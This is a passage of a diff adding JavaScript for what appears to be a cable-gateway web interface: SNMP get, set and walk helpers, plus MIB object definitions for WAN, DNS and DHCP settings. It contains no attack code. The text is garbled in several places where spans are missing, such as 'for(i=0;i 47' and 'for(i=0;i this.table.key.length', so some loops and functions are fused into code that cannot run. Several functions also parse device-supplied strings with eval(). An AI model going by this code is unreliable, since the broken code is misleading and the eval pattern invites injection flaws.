temp_obj=MIB_Arrays_sorted.pop(); + MIB_Arrays_sorted.push(newobj); + MIB_Arrays_sorted.push(temp_obj); + } + + if(MIB_Arrays_sorted.length==MIB_len) + { + MIB_dumpArray(MIB_Arrays_sorted); + return MIB_Arrays_sorted; + } + else + { + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + } + } + else + { + ;//MIB_dumpArray(MIB_Arrays_sorted); For Console debug + } + }catch(e) + { + if (window.console) console.log("Error:"+e); + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + else + return MIB_objs; + } + } + } + } + + return MIB_objs; +} + +function MIB_JSON2Str(MIB_objs) +{ + var MIB_size=MIB_objSize(MIB_objs); + var MIB_Str=""; + var MIB_count=0; + for(var index_key in MIB_objs) + { + if(!isArray(MIB_objs[index_key])) + MIB_Str+='"'+index_key+'":"'+MIB_objs[index_key]+'"'; + else + { + var MIB_subArray=MIB_objs[index_key]; + var tempStr=""; + var i=0; + for(i=0;i 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123)) + { + } + else { + return false; + } + } + return true; +} +function MIB_BatchLoad(MIB_objs,force_multi) +{ + var MIB_query=appendMulti_OID(MIB_objs); + var MIB_Result;//=new Array();;//=[];// + var MIB_Str="{"; + var MIB_JSON=snmpMultiGet(MIB_query); + var MIB_len=MIB_objs.length; + var i=0; + if (force_multi==undefined) + force_multi = false; + for (var index_key in MIB_JSON) + { + //alert("index_key:"+index_key); + var DataRow =""; + if(index_key==(MIB_objs[i]["mibobj"].oid+"."+MIB_objs[i]["index"])) + { + DataRow='"'+MIB_objs[i]["mibobj"].name+'":['; + val0=MIB_JSON[index_key]; + if (MIB_objs[i]["mibobj"].type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if ( MIB_objs[i]["mibobj"].compo==1 ) + { + val2=val0; + } + DATA=val2.escapeChars(); + } + else + { + DATA=val0; + } + //if(index_key=="1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0") + // alert("index_key:"+index_key+" DATA:"+DATA); + + //luis add + if(DATA.toUpperCase()=="NO SUCH OBJECT") + DATA=""; + //luis add end + + if((i>=1)&&(MIB_objs[i]["mibobj"].name==MIB_objs[i-1]["mibobj"].name)) + { + MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf("]")); + MIB_Str+=',"'+ DATA.toString() +'"]'; //More + MIB_Str+=((i>\n{"+MIB_objs[i]["mibobj"].name+":"+MIB_JSON[index_key].toString()+"}"); + return undefined; + } + } + MIB_Str+="}"; + MIB_Result=eval('('+MIB_Str+')'); + //Reduce one element Array + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } +// alert("(mib.js)MIB_BatchLoad str=["+MIB_Str+"]."); + return MIB_Result; +} + +function MIB_objSize(MIB_objs) +{ + var count=0; + for(var index_key in MIB_objs) + { + count++; + } + return count; +} + +function isArray(what) { + return Object.prototype.toString.call(what) === '[object Array]'; +} + +function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi) +{ + if(force_multi==undefined) + force_multi=false; + var MIB_Result; + var MIB_size=MIB_objSize(MIB_objs); + var MIB_size_2=MIB_objSize(MIB_objs_2); + var MIB_Str=MIB_JSON2Str(MIB_objs); + + if(MIB_size_2>0) + MIB_Str+=","; + MIB_Str+=MIB_JSON2Str(MIB_objs_2); + MIB_Str="{"+MIB_Str+"}"; + MIB_Result=eval('('+MIB_Str+')'); + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } + return MIB_Result; +} + + + +function bulkLoad(load_func) { + bulkLoading = true; + bulkList = []; + load_func(); + bulkLoading = false; + if (bulkList.length === 0) + return; + var oids = []; + _.each(bulkList, function (oid, index) { + oids.push(oid); + if (oids.length === 20 || index === (bulkList.length-1)) { + var v = snmpGet(oids); + _.each(v, function (val, key) { + walk[key] = val; + }); + oids = []; + } + }); +} + +function sliceOid(oid, start, end) { + var oids = oid.split("."); + if (start < 0) { + start = oids.length + start; + end = oids.length; + } else { + end = (end === undefined ? oids.length : end); + } + if (end < 0) { + end = oids.length + end; + } + return _(oids.slice(start, end)).reduce(function(acc, next) { + return acc ? acc + "." + next : next; + }); +} + +//function getWalkOids(targetOid) { +// $.each(oidMap, function(oid,def) { +// if (!oid.startsWith(target)) +// return; +// +// +// }); +//} + +if (window["preWalk"]) + walk = window["preWalk"]; + +function afterLoad(f) { + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} +function load1(f, json) { + if (json === undefined) + json = snmpWalk([ f.oid ]); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} + +var loadLogData = ""; + +function loadLogger(l) { + if (window.console) console.log(l); + if (debug()&2 && !(l.contains("assword", "TAC","RadiusKey")) ) + loadLogData += (l+"
    "); +} + +function load() { + loadLogData = ""; + var args = _(_.toArray(arguments)); + if (!window["preWalk"]) { + var oids = args.map(function(f) { + return f.oid; + }); + var json = snmpWalk(oids); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) + loadRowStatus(); + +// mb +// args.each(function(f) { +// f.dump(loadLogger); +// }) +// if (debug()&2) +// afterBuild( function() { +// showWalk(loadLogData); +// }); + +} + +function loadFake() { + var args = _(_.toArray(arguments)); + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) +} +function loadOids(oa) { + function doget(a) { + var json = snmpWalk(a); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + + var soa = [ ]; + _.each(oa, function(o) { + soa.push(o); + if (soa.length > 5) { + doget(soa); + soa = [ ]; + } + }); + if (soa.length) + doget(soa); +} + + +function store() { + MibObjects.ApplyAllSettings.set(1); + refresh(); +} + +function listAccessed() { + _.each(_.extend({}, container, table), function(f) { + if (f.accessed) if (window.console) console.log(f.name); + }); +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + + + +function dumpOidsRead() { + _.each(oidsRead, function(o) { + if (window.console) console.log(o); + }); +} + + +function oidValuesEqual(a,b) { + if ((""+a).startsWith("$") && (""+b).startsWith("$")) { + return a.replace(/ /g,"") === b.replace(/ /g,"") + } + return a == b; +} + + +function Container(name, oid) { + this.name = name; + this.oid = oid; + mib[oid] = this; + container[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("container "+name+" parent "+(this.parent ? this.parent.name : "ROOT")); + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + f(name + " ==============="); + _.each(this.children, function(v) { + if (v !== undefined && v.scalar) + f(v.name + ":" + v.get()); + }); + this.accessed = accessed; + oidsRead = or; + }; + this.json = function() { + return { name:this.name,type:"container",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } +} + +function Table(name, oid) { + this.oid = oid; + this.name = name; + mib[oid] = this; + table[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("table "+name+" parent "+(this.parent ? this.parent.name : "???")); + this.key = []; + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.rowStatus = null; + this.rowVisible = function(key) { + var vis = true; + if (this.rowStatus) { + vis = this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */ + if (!vis) + if (window.console) console.log(name+"."+key+" not visible: "+this.rowStatus.getOid(key));// + } + return vis; + }; + this.length = function() { + return this.key.length; + }; + this.afterLoad = function() { + var hash = { }; + _.each(walk, function(v, k) { + if (k.startsWith(oid + ".")) { + //key = sliceOid(k.substr(oid.length+1),2); + //var tableoid = sliceOid(k,0,-2); + var testKey = sliceOid(k.substr(oid.length + 1), 2); + if (testKey && !hash[testKey]) { + hash[testKey] = testKey; + this.key.push(testKey); + } + } + }, this); + this.loaded = true; + loadRowStatus(); + } + this.dumpGroupRow = true; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + var rv = ""; + for (var i = 0; i < this.length(); i++) { + rv += this.key[i] + ";"; + } + f("table " + name + " size=" + this.length() + " " + rv); + var rv = ""; + for (var i = 0; i < this.length(); i++) { + $.each(this.children, function(k, v) { + if (v.get(i)) { + rv += (v.name + ":" + v.get(i) + ";"); + if (!this.dumpGroupRow) { + f("===" + this.table.key[i] + "==>" + rv); + rv = ""; + } + } + }); + if (rv.length && this.dumpGroupRow) + f("===" + this.key[i] + "==>" + rv); + } + this.accessed = accessed; + oidsRead = or; + f("rowStatus: "+ (this.rowStatus ? this.rowStatus.name : "")); + } + this.json = function() { + return { name:this.name,type:"table",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } + this.getTable = function(cola, func) { + if (walk[this.oid] === undefined) { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + + } + else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MACAccessTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + //luis add + if(val2.toUpperCase()=="NO SUCH OBJECT") + val2=""; + //luis add end + + row.push(val2); + + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getTableFromJson = function(json_obj,cola, func) { + //walk[this.oid]=json_obj[this.name]; + _.extend(walk,json_obj[this.name]); + this.afterLoad(); + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + row.push(val2); + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getMultiTable = function(tables_oid) { + var temp_str=""; + var MIB_Result; + var MultiTable=[ ]; + var tablecount=tables_oid.length,i; + for(i=0;i this.table.key.length) + if (window.console) console.log("index " + index + " out of range for " + table.name); + return this.table.key[index] || ""; + } + this.get = function(index, index2) { + if (!index || index.asInt() === 0) + if (window.console) console.log("old style index get "+name+" "+index); + if (index2 !== undefined) + index += "."+index2; + var oid = this.oid+"."+index; + + if (bulkLoading) { + bulkList.push(oid); + return; + } + + if (walk[oid] === undefined) + { + walk[oid] = decodeURIComponent(snmpGet1(oid) || ""); + return walk[oid]; + } + else + { + //$.each(walk, function(v, k) { + // k=decodeURIComponent(v); + //}); + return walk[oid]; + } + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + this.table.accessed = true; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oidsRead.push(oid + "." + (parseInt(index) + 1)); + return walk[oid + "." + (parseInt(index) + 1)] || ""; + } + oidsRead.push(oid + "." + this.table.key[index]); + return walk[oid + "." + this.table.key[index]] || ""; + } + this.getOid = function(index) { + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + oidsRead.push(oid + "." + index); + if (window.console) console.log(this.name+"."+index+" = "+walk[oid + "." + index] || ""); + return walk[oid + "." + index] || ""; + } + + this.set = function(index, value, label) { + try { + snmpSet1(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + this.asyn_set = function(index, value, label) { + try { + snmpSet1Async(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + // this.setOid = function(index, v) { + // if (arguments.length !== 2) + // alert("expected index for column " + this.name); + // if (!oidValuesEqual(this.get(index), v)) { + // $.log("setOid " + name + "." + index + ":" + v); + // stores.push({oid:this.oid + "." + index,value:v, type:this.type}); + // } + // else $.log(name + "." + index + " not changed " + v); + // }; + + this.defined = function(index) { + if (index === undefined || index < 0 || index > this.table.key.length) + return false; + return walk[oid + "." + this.table.key[index]] !== undefined; + } + this.json = function() { + return { name:this.name,type:"column",oid:this.oid }; + } +} +var Mib = new Container("Mib", "1.3.6.1.4.1.4115.1.20.1"); + +var MibObjects = new Container("MibObjects", "1.3.6.1.4.1.4115.1.20.1.1"); +MibObjects.ApplyAllSettings= new Scalar("ApplyAllSettings","1.3.6.1.4.1.4115.1.20.1.1.9",2); +var arApplyAllSettings=MibObjects.ApplyAllSettings; + +var WanConfig = new Container("WanConfig", "1.3.6.1.4.1.4115.1.20.1.1.1"); +WanConfig.WanConnType= new Scalar("WanConnType","1.3.6.1.4.1.4115.1.20.1.1.1.1",2); +WanConfig.WanConnHostName= new Scalar("WanConnHostName","1.3.6.1.4.1.4115.1.20.1.1.1.2",4); +WanConfig.WanConnDomainName= new Scalar("WanConnDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.3",4); +WanConfig.WanMTUSize= new Scalar("WanMTUSize","1.3.6.1.4.1.4115.1.20.1.1.1.4",66); +WanConfig.WanApply= new Scalar("WanApply","1.3.6.1.4.1.4115.1.20.1.1.1.5",2); +WanConfig.WanStaticFreeIdx= new Scalar("WanStaticFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.8",66); +WanConfig.WanIFMacAddr= new Scalar("WanIFMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.13",4, 1); +WanConfig.WanInterface= new Scalar("WanInterface","1.3.6.1.4.1.4115.1.20.1.1.1.14",2); +WanConfig.WanConnTypeV6= new Scalar("WanConnTypeV6","1.3.6.1.4.1.4115.1.20.1.1.1.16",2); +WanConfig.WanIPProvMode= new Scalar("WanIPProvMode","1.3.6.1.4.1.4115.1.20.1.1.1.17",2); +var arWanConnType=WanConfig.WanConnType; +var arWanConnHostName=WanConfig.WanConnHostName; +var arWanConnDomainName=WanConfig.WanConnDomainName; +var arWanMTUSize=WanConfig.WanMTUSize; +var arWanApply=WanConfig.WanApply; +var arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx; +var arWanIFMacAddr=WanConfig.WanIFMacAddr; +var arWanInterface=WanConfig.WanInterface; +var arWanConnTypeV6=WanConfig.WanConnTypeV6; +var arWanIPProvMode=WanConfig.WanIPProvMode; + +var WanCurrentTable = new Table("WanCurrentTable", "1.3.6.1.4.1.4115.1.20.1.1.1.7"); +WanCurrentTable.WanCurrentIPIndex = new Column("WanCurrentIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1",66); +WanCurrentTable.WanCurrentIPAddrType = new Column("WanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2",2); +WanCurrentTable.WanCurrentIPAddr = new Column("WanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3",4, 1); +WanCurrentTable.WanCurrentPrefix = new Column("WanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4",66); +WanCurrentTable.WanCurrentGWType = new Column("WanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5",2); +WanCurrentTable.WanCurrentGW = new Column("WanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6",4, 1); +WanCurrentTable.WanCurrentIPType = new Column("WanCurrentIPType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7",2); +WanCurrentTable.WanCurrentNetMask = new Column("WanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6 = new Column("WanCurrentPrefixDelegationV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column("WanCurrentPrefixDelegationV6Len","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10",66); +WanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column("WanCurrentPreferredLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11",2); +WanCurrentTable.WanCurrentValidLifetimeV6 = new Column("WanCurrentValidLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12",2); +var arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex; +var arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType; +var arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr; +var arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix; +var arWanCurrentGWType=WanCurrentTable.WanCurrentGWType; +var arWanCurrentGW=WanCurrentTable.WanCurrentGW; +var arWanCurrentIPType=WanCurrentTable.WanCurrentIPType; +var arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask; +var arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6; +var arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len; +var arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6; +var arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6; + +var WanStaticTable = new Table("WanStaticTable", "1.3.6.1.4.1.4115.1.20.1.1.1.9"); +WanStaticTable.WanStaticIPIndex = new Column("WanStaticIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1",66); +WanStaticTable.WanStaticIPAddrType = new Column("WanStaticIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2",2); +WanStaticTable.WanStaticIPAddr = new Column("WanStaticIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3",4, 1); +WanStaticTable.WanStaticPrefix = new Column("WanStaticPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4",66); +WanStaticTable.WanStaticGatewayType = new Column("WanStaticGatewayType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5",2); +WanStaticTable.WanStaticGateway = new Column("WanStaticGateway","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6",4, 1); +WanStaticTable.WanStaticRowStatus = new Column("WanStaticRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7",2); +WanStaticTable.WanDelegatedPrefixLength = new Column("WanDelegatedPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8",66); +WanStaticTable.WanDelegatedPrefix = new Column("WanDelegatedPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9",4, 1); +var arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex; +var arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType; +var arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr; +var arWanStaticPrefix=WanStaticTable.WanStaticPrefix; +var arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType; +var arWanStaticGateway=WanStaticTable.WanStaticGateway; +var arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus; +var arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength; +var arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix; + +var WanTunnelObjects = new Container("WanTunnelObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.10"); +WanTunnelObjects.WanUserName= new Scalar("WanUserName","1.3.6.1.4.1.4115.1.20.1.1.1.10.1",4); +WanTunnelObjects.WanPassword= new Scalar("WanPassword","1.3.6.1.4.1.4115.1.20.1.1.1.10.2",4); +WanTunnelObjects.WanEnableIdleTimeout= new Scalar("WanEnableIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.3",2); +WanTunnelObjects.WanIdleTimeout= new Scalar("WanIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.4",66); +WanTunnelObjects.WanTunnelAddrType= new Scalar("WanTunnelAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.10.5",2); +WanTunnelObjects.WanTunnelAddr= new Scalar("WanTunnelAddr","1.3.6.1.4.1.4115.1.20.1.1.1.10.6",4, 1); +WanTunnelObjects.WanTunnelHostName= new Scalar("WanTunnelHostName","1.3.6.1.4.1.4115.1.20.1.1.1.10.7",4); +WanTunnelObjects.WanEnableKeepAlive= new Scalar("WanEnableKeepAlive","1.3.6.1.4.1.4115.1.20.1.1.1.10.8",2); +WanTunnelObjects.WanKeepAliveTimeout= new Scalar("WanKeepAliveTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.9",66); +var arWanUserName=WanTunnelObjects.WanUserName; +var arWanPassword=WanTunnelObjects.WanPassword; +var arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout; +var arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout; +var arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType; +var arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr; +var arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName; +var arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive; +var arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout; + +var WanDNSObjects = new Container("WanDNSObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.11"); +WanDNSObjects.WanUseAutoDNS= new Scalar("WanUseAutoDNS","1.3.6.1.4.1.4115.1.20.1.1.1.11.1",2); +WanDNSObjects.WanStaticDNSFreeIdx= new Scalar("WanStaticDNSFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.11.3",66); +var arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS; +var arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx; + +var WanCurrentDNSTable = new Table("WanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.2"); +WanCurrentDNSTable.WanCurrentDNSIPIndex = new Column("WanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1",66); +WanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column("WanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2",2); +WanCurrentDNSTable.WanCurrentDNSIPAddr = new Column("WanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3",4, 1); +var arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex; +var arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType; +var arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr; + +var WanStaticDNSTable = new Table("WanStaticDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.4"); +WanStaticDNSTable.WanStaticDNSIPIndex = new Column("WanStaticDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1",66); +WanStaticDNSTable.WanStaticDNSIPAddrType = new Column("WanStaticDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2",2); +WanStaticDNSTable.WanStaticDNSIPAddr = new Column("WanStaticDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3",4, 1); +WanStaticDNSTable.WanStaticDNSRowStatus = new Column("WanStaticDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4",2); +var arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex; +var arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType; +var arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr; +var arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus; + +var WanDHCPObjects = new Container("WanDHCPObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.12"); +WanDHCPObjects.WanRenewLease= new Scalar("WanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.1",2); +WanDHCPObjects.WanReleaseLease= new Scalar("WanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.2",2); +WanDHCPObjects.WanDHCPDuration= new Scalar("WanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.12.3",66); +WanDHCPObjects.WanDHCPExpire= new Scalar("WanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.12.4",4, 1); +WanDHCPObjects.WanRenewLeaseV6= new Scalar("WanRenewLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.5",2); +WanDHCPObjects.WanReleaseLeaseV6= new Scalar("WanReleaseLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.6",2); +WanDHCPObjects.WanDHCPDurationV6= new Scalar("WanDHCPDurationV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.7",66); +WanDHCPObjects.WanDHCPExpireV6= new Scalar("WanDHCPExpireV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.8",4, 1); +var arWanRenewLease=WanDHCPObjects.WanRenewLease; +var arWanReleaseLease=WanDHCPObjects.WanReleaseLease; +var arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration; +var arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire; +var arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6; +var arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6; +var arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6; +var arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6; + +var PrivateWanObjects = new Container("PrivateWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.15"); +PrivateWanObjects.PrivateWanRenewLease= new Scalar("PrivateWanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.1",2); +PrivateWanObjects.PrivateWanReleaseLease= new Scalar("PrivateWanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.2",2); +PrivateWanObjects.PrivateWanDHCPDuration= new Scalar("PrivateWanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.15.3",66); +PrivateWanObjects.PrivateWanDHCPExpire= new Scalar("PrivateWanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.15.4",4, 1); +PrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar("PrivateWanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.5",2); +PrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar("PrivateWanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.6",4, 1); 